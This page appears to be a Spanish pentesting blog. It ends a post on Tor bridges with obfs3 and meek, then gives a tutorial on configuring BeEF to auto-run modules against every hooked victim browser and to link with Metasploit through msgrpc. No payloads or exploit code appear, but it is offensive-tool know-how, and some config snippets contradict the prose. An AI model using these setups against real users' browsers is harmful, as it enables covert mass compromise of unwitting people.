Bridge obfs3 169.229.59.75:46328 AF9F66B7B04F8FF6F32D455F05135250A16543C9

Bridge obfs3 109.105.109.163:47779 4C331FA9B3D1D6D8FB0D8FBBF0C259C360D97E6A

Bridge obfs3 109.105.109.163:38980 1E05F577A0EC0213F971D81BF4D86A9E4E8229ED

DataDirectory /home/adastra/tor-browser_es-ES/Browser/TorBrowser/Data/Tor

GeoIPFile /home/adastra/tor-browser_es-ES/Browser/TorBrowser/Data/Tor/geoip

GeoIPv6File /home/adastra/tor-browser_es-ES/Browser/TorBrowser/Data/Tor/geoip6

UseBridges 1

Por otro lado, en el combo en el que se puede seleccionar un PT, también se puede ver “meek-amazon”, “meek-azure” y “meek-google”. Probablemente el lector se preguntará qué significa eso, pues bien, el PT Meek se basa en HTTPS y se encarga de modificar el tráfico de TOR para que las peticiones parezcan “inocentes” y en este caso concreto, “meek-amazon” se encarga de transformar las peticiones para que parezca que el usuario se encuentra interactuando con la plataforma de Amazon Web Services, “meek-azure” para que parezca que las peticiones se realizan contra la plataforma de servicios web de Microsoft Azure y finalmente “meek-google” modifica los paquetes de datos para que parezca que las peticiones realizadas por el cliente, son simplemente búsquedas en Google. Si bien es un PT muy interesante, actualmente hay varios detalles que se encuentran en estado de desarrollo y la cantidad de PTs del tipo servidor (puentes) es bastante pequeña, por ese motivo siempre se recomienda utilizar el PT de ObsProxy. Sobre Meek se hablará con mayor detalle en un próximo artículo y aunque aquí solamente se ha mencionado la configuración básica del lado del cliente para utilizar un PT con TOR, aun queda haciendo falta explicar la forma en la que se pueden crear Bridges PT que aporten a los usuarios de la red de TOR que se encuentran censurados, esto también lo explicaré en el próximo artículo.

Saludos y Happy Hack!
Adastra.

Pentesting automatizado con Beef. Características avanzadas – Parte 2

julio 28, 2015 Deja un comentario

En el artículo anterior hablaba sobre el proceso de instalación de BeEF y cómo invocar a algunos de los endpoints definidos en su API Rest utilizando cURL y en esta ocasión, voy a explicar cómo utilizar algunas características avanzadas del framework y en el próximo artículo, hablaré sobre cómo utilizar BeEF desde cualquier script en Python.

Ejecutar módulos de forma automática.

Si el panel de control central consigue que muchos usuarios ejecuten el hook en sus navegadores, será una labor bastante tediosa e ineficiente tener que ejecutar los módulos contra cada uno de los objetivos de forma manual. Afortunadamente, los módulos que se encuentran creados en BeEF y los que se pueden crear de forma independiente, deben incluir un fichero de configuración para controlar el comportamiento de dicho módulo, de esta forma, es posible marcar aquellos módulos que resulten interesantes para que se ejecuten de forma automática contra cada nueva víctima, ahorrando mucho tiempo y evitando la necesidad de estar permanentemente pendiente de que se conecten nuevas víctimas y lanzar manualmente los módulos necesarios.
Habilitar esta característica es muy sencillo, solamente hace falta editar el fichero de configuración maestro que se encuentra ubicado en “<BEEF_INSTALL>/config.yaml” y modificar la sección correspondiente a “autorun”

# Autorun modules as soon the browser is hooked.

# NOTE: only modules with target type ‘working’ or ‘user_notify’ can be run automatically.

autorun:

enable: true

allow_user_notify: true

El “autorun” se encuentra habilitado por defecto en el fichero de configuración maestro de la herramienta, sin embargo es necesario activar aquellos módulos que se desea ejecutar cuando se reciba un nuevo zombie, para ello es necesario editar el fichero de configuración “config.yaml” de cada uno de los módulos que se desee activar e incluir la flag “autorun: true”. Todos los módulos de la herramienta se encuentran disponibles en el directorio “<BEEF_INSTALL>/modules” y allí se podrán ver cada uno de los módulos disponibles desde el panel de control de la herramienta. Dentro de cada módulo existe un fichero de configuración llamado “config.yaml”, el cual típicamente contiene una única sección que es “beef” y con una única subsección llamada “module”, en ella se definen todos los detalles de configuración del módulo, incluyendo su nombre, categoría, si se encuentra habilitado o no, entre otros detalles. Este fichero sigue una sintaxis muy similar a los módulos que se encuentran disponibles en Metasploit Framework, ya que es completamente configurable e incluye detalles informativos sobre el funcionamiento del módulo. En este caso, para que un módulo cuyo atributo “target” sea “working” o “user_notify” se pueda lanzar de manera automática ante la conexión de un nuevo zombie, basta con establecer el atributo “autorun” con el valor “true”. El siguiente es un ejemplo del módulo “play_sound” que se encarga de lanzar un zumbido (un poco molesto) en la víctima conectada.

beef:

module:

Play_sound:

enable: true

category: “Browser”

name: “Play Sound”

description: “Play a sound on the hooked browser.”

authors: [“Saafan”]

autorun: true

target:

working: [“All”]

En este caso hay que tener en cuenta que esta característica lo que hace es lanzar todos los módulos que se han marcado con la flag “autorun” contra todas las víctimas que se van conectando, algo que no es deseado en todos los casos, ya que algunos módulos son específicos para un navegador concreto y a veces es mucho mejor poder crear una rutina que permita lanzar un módulo u otro dependiendo de las características del navegador de la víctima. Esto es justo lo que se podría hacer con la API Rest de BeEF y Python, como se verá más adelante.

Extensiones en BeEF

Además de los módulos que permiten ejecutar rutinas en el entorno de la víctima, otra característica muy interesante de BeEF es la posibilidad de ejecutar extensiones que permitirán activar ciertas características en el lado servidor de BeEF. Actualmente existen algunas muy interesantes que permiten integrar otras herramientas de pentesting habituales con BeEF, como es el caso de Metasploit Framework o SET. Para habilitar cualquier extensión disponible en la herramienta o una creada por terceros, se debe editar el fichero de configuración maestro (config.yaml) y habilitar todas las extensiones deseadas en la sección “extension” por ejemplo:

extension:

metasploit:

enable: false

console:

shell:

enable: true

En este caso solamente se habilitan las extensiones de metasploit y la shell de BeEF para trabajar con la herramienta desde línea de comandos en lugar de hacerlo desde la interfaz web.

Para utilizar la extensión de Metasploit, es necesario cargar el modulo “msgrpc” desde “msfconsole” o ejecutar la utilidad “msfrpcd” de Metasploit Framework. En cualquiera de los dos casos, se conseguirá levantar un servicio que permitirá la interacción de forma programática con Metasploit Framework con aplicaciones externas, como es el caso de BeEF.

La siguiente imagen enseña cómo se puede cargar el módulo “msgrpc” desde “msfconsole”

 msgrpcCargando el módulo msgrpc

Ahora que el fichero de configuración maestro ya se encuentra preparado para soportar al extensión de metasploit framework y el servicio MSGRPC se encuentra levantado, es el momento de configurar la extensión e indicar los detalles de conexión con el servidor. Para ello se debe editar el fichero de configuración de la extensión de metasploit, el cual se encuentra ubicado en la siguiente ruta “<BEFF_INSTALL>/extensions/metasploit”. Allí se deben incluir como mínimo, las propiedades que permiten establecer una conexión con el servicio MSGRPC.

Ahora, es el momento de arrancar BeEF y para ello, se puede utilizar la opción “-v” y ver el detalle de las operaciones realiza la herramienta. Como se puede ver en la siguiente imagen.

beefmsfConexión entre Beef y Metasploit

Después de esto, los módulos de metasploit framework quedarán registrados en el panel de control de BeEF como si se tratara de cualquier otro módulo de la herramienta. Evidentemente, algunos de dichos módulos requieren una preparación previa y establecer ciertos valores de configuración, pero desde BeEF se puede hacer utilizando un asistente muy simple.

beefmsf2Módulos de metasploit framework en BeEF

Otra extensión muy interesante es la extensión “console”, la cual permite sustituir el panel de control web por una interfaz por línea de comandos para controlar todos los zombies y realizar otras actividades, del mismo modo que se puede hacer con la utilidad msfconsole de metasploit framework. Para activar esta extensión, la cual viene desactivada por defecto, se debe editar el fichero de configuración principal (config.yaml) y en la sección de extensiones incluir lo siguiente:

console:

shell:

enable: false

Ahora, cuando se arranque la herramienta, en lugar de ver un mensaje indicando que se ha iniciado un servidor web para la gestión de los zombies, se podrá ver un interprete desde el cual se podrán ejecutar comandos.

beefconsoleConsola de BeEF

Desde esta consola se pueden ejecutar varios comandos, los cuales se pueden consultar con el comando “help”, dichos comandos permiten cumplir con exactamente las mismas funciones que se pueden llevar a cabo desde la interfaz web

beefconsole2Comandos disponibles en la consola de BeEF.

Existen otros módulos y extensiones que actualmente se encuentran en desarrollo y que probablemente estarán disponibles en los próximos meses, con lo cual se espera que poco a poco, su uso sea mucho más difundido y alcance los niveles de popularidad de otras herramientas de pentesting y hacking similares.

Saludos y Happy Hack!
Adastra.

A %d blogueros les gusta esto: